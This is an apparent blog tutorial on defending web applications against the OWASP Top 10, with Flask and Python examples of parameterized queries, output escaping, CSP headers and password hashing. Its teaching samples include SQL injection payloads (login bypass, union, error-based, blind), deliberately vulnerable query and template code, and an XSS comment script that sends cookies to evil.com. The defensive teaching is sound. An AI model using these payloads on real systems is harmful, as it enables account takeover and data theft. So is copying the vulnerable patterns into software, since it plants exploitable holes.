SD
sophia-dcruz_
Back to Articles
Cyber SecurityJune 28, 2026

Securing Web Applications Against the OWASP Top 10

A practical guide to the OWASP Top 10 web application vulnerabilities — with an interactive XSS and SQL Injection sanitizer sandbox to test input defenses hands-on.

#owasp#web-security#xss#sql-injection#appsec
Securing Web Applications Against the OWASP Top 10

The OWASP Top 10 is the industry-standard awareness document for web application security. Published by the Open Web Application Security Project, it represents the most critical security risks faced by web applications today. Understanding these vulnerabilities — and how to defend against them — is foundational knowledge for every CS and IT professional.


What Is OWASP?

The Open Web Application Security Project (OWASP) is a non-profit foundation that works to improve software security. Their Top 10 list is updated periodically (latest: 2021) and is widely adopted by security teams, auditors, and regulatory bodies.


The OWASP Top 10 (2021)

Rank Category Risk Level
A01 Broken Access Control 🔴 Critical
A02 Cryptographic Failures 🔴 Critical
A03 Injection (SQLi, XSS) 🔴 Critical
A04 Insecure Design 🟠 High
A05 Security Misconfiguration 🟠 High
A06 Vulnerable Components 🟠 High
A07 Auth & Session Failures 🟠 High
A08 Software Integrity Failures 🟡 Medium
A09 Logging & Monitoring Failures 🟡 Medium
A10 Server-Side Request Forgery 🟡 Medium

A01: Broken Access Control

The #1 risk — when users can act outside their intended permissions.

Example Attack

# URL: https://example.com/user/profile?id=1001
# Attacker changes id to access another user:
# https://example.com/user/profile?id=1002

Defense

# Flask example — always verify ownership
from flask import session, abort

@app.route('/profile/<int:user_id>')
def get_profile(user_id):
    if session.get('user_id') != user_id:
        abort(403)  # Forbidden — access denied
    return render_profile(user_id)

A03: Injection Attacks

SQL Injection (SQLi)

The classic vulnerability: user-supplied input is embedded directly into SQL queries.

# ❌ VULNERABLE — Never do this!
def login_vulnerable(username, password):
    query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
    # Attacker enters: admin' --
    # Query becomes: SELECT * FROM users WHERE username='admin' --' AND password='...'
    # The -- comments out the password check entirely!
    cursor.execute(query)

# ✅ SAFE — Always use parameterized queries
def login_safe(username, password):
    query = "SELECT * FROM users WHERE username = %s AND password = %s"
    cursor.execute(query, (username, password))  # DB driver handles escaping

Advanced SQLi

-- Union-based extraction
' UNION SELECT username, password, NULL FROM users --

-- Error-based (reveals DB structure)
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --

-- Blind boolean-based
' AND 1=(SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END) --

Python SQL Defense

# Using SQLAlchemy ORM (recommended for Python apps)
from sqlalchemy.orm import Session
from models import User

def safe_login(session: Session, username: str, password_hash: str):
    user = session.query(User).filter(
        User.username == username,
        User.password_hash == password_hash
    ).first()
    return user  # SQLAlchemy NEVER interpolates raw strings

# Input validation layer
import re

def validate_username(username: str) -> bool:
    pattern = r'^[a-zA-Z0-9_]{3,30}$'
    return bool(re.match(pattern, username))

A03: Cross-Site Scripting (XSS)

XSS allows attackers to inject malicious scripts into pages viewed by other users.

Types of XSS

Reflected XSS  → Payload in URL parameter, reflected in HTML response
Stored XSS     → Payload saved to database, served to ALL users
DOM-based XSS  → Payload executed via JavaScript DOM manipulation

Example Attack

<!-- Attacker posts this comment to a blog: -->
Great article! <script>
  document.cookie = 'stolen=' + document.cookie;
  fetch('https://evil.com/collect?c=' + document.cookie);
</script>

<!-- When any user views the comment, their cookies are stolen -->

Defense: Proper Output Encoding

# ❌ Vulnerable Flask route
@app.route('/search')
def search():
    q = request.args.get('q', '')
    return f"<p>Results for: {q}</p>"  # XSS here!

# ✅ Safe — Flask auto-escapes Jinja2 templates
@app.route('/search')
def search():
    q = request.args.get('q', '')
    return render_template('search.html', query=q)
    # In template: <p>Results for: {{ query }}</p>  ← auto-escaped

# ✅ Manual HTML escaping
from markupsafe import escape

@app.route('/search')
def search():
    q = escape(request.args.get('q', ''))
    return f"<p>Results for: {q}</p>"

Content Security Policy (CSP)

# Add CSP headers to prevent inline script execution
from flask import after_request

@app.after_request
def add_security_headers(response):
    response.headers['Content-Security-Policy'] = (
        "default-src 'self'; "
        "script-src 'self'; "  # No inline scripts!
        "style-src 'self' https://fonts.googleapis.com; "
        "img-src 'self' data:;"
    )
    response.headers['X-XSS-Protection'] = '1; mode=block'
    response.headers['X-Frame-Options'] = 'DENY'
    return response

A02: Cryptographic Failures

Never Store Plain-text Passwords

# ❌ CRITICALLY WRONG
user.password = "userpassword123"  # Plain text!

# ❌ Still wrong — MD5 and SHA1 are broken
import hashlib
user.password = hashlib.md5(password.encode()).hexdigest()

# ✅ CORRECT — Use bcrypt or Argon2
from passlib.hash import bcrypt, argon2

# bcrypt (well-tested, widely supported)
hashed = bcrypt.hash("userpassword123")
bcrypt.verify("userpassword123", hashed)  # True

# Argon2 (winner of Password Hashing Competition 2015)
hashed = argon2.hash("userpassword123")
argon2.verify("userpassword123", hashed)  # True

Secure Token Generation

import secrets

# ❌ Weak random token (predictable)
import random
token = str(random.randint(100000, 999999))

# ✅ Cryptographically secure token
token = secrets.token_urlsafe(32)  # 256-bit token
reset_url = f"https://example.com/reset?token={token}"

A05: Security Misconfiguration

# ❌ Development settings in production
DEBUG = True              # Exposes stack traces!
SECRET_KEY = "dev-key"   # Predictable session tokens!

# ✅ Production configuration
import os

DEBUG = os.environ.get('DEBUG', 'False').lower() == 'true'
SECRET_KEY = os.environ['SECRET_KEY']  # MUST be set in environment

# ✅ Disable directory listing in Nginx:
# autoindex off;

# ✅ Remove server version headers:
# server_tokens off;

🤖 Interactive AI Widget: XSS & SQLi Sanitizer Sandbox

Type any input below and see how different sanitization techniques protect against injection attacks — in real time.

🛡️ Injection Sanitizer Sandbox

Security Checklist for Every Web App

Authentication & Sessions
  ✅ Use bcrypt/Argon2 for password hashing
  ✅ Implement account lockout after N failed attempts
  ✅ Use secure, HttpOnly, SameSite cookies
  ✅ Invalidate sessions on logout

Input Handling
  ✅ Validate ALL user input server-side
  ✅ Use parameterized queries for ALL DB operations
  ✅ HTML-encode all dynamic content in templates
  ✅ Implement strict Content Security Policy headers

Infrastructure
  ✅ Keep all dependencies updated (check SNYK, Dependabot)
  ✅ Disable directory listing and server version headers
  ✅ Use HTTPS everywhere (HSTS header)
  ✅ Implement rate limiting on all API endpoints
  
Monitoring
  ✅ Log all authentication attempts (success & failure)
  ✅ Alert on unusual access patterns
  ✅ Perform regular penetration tests

Practice Exercises

  1. Build a simple Flask login form and deliberately introduce an SQLi vulnerability. Then fix it with parameterized queries.
  2. Set up a local XSS playground and test how different browsers handle CSP violations.
  3. Use OWASP ZAP (free tool) to scan your local web app and review the report.
  4. Implement CSRF protection in a Flask form using flask-wtf.

📚 Recommended Reading: The Web Application Hacker’s Handbook by Stuttard & Pinto. OWASP Cheat Sheet Series: https://cheatsheetseries.owasp.org

// Related Articles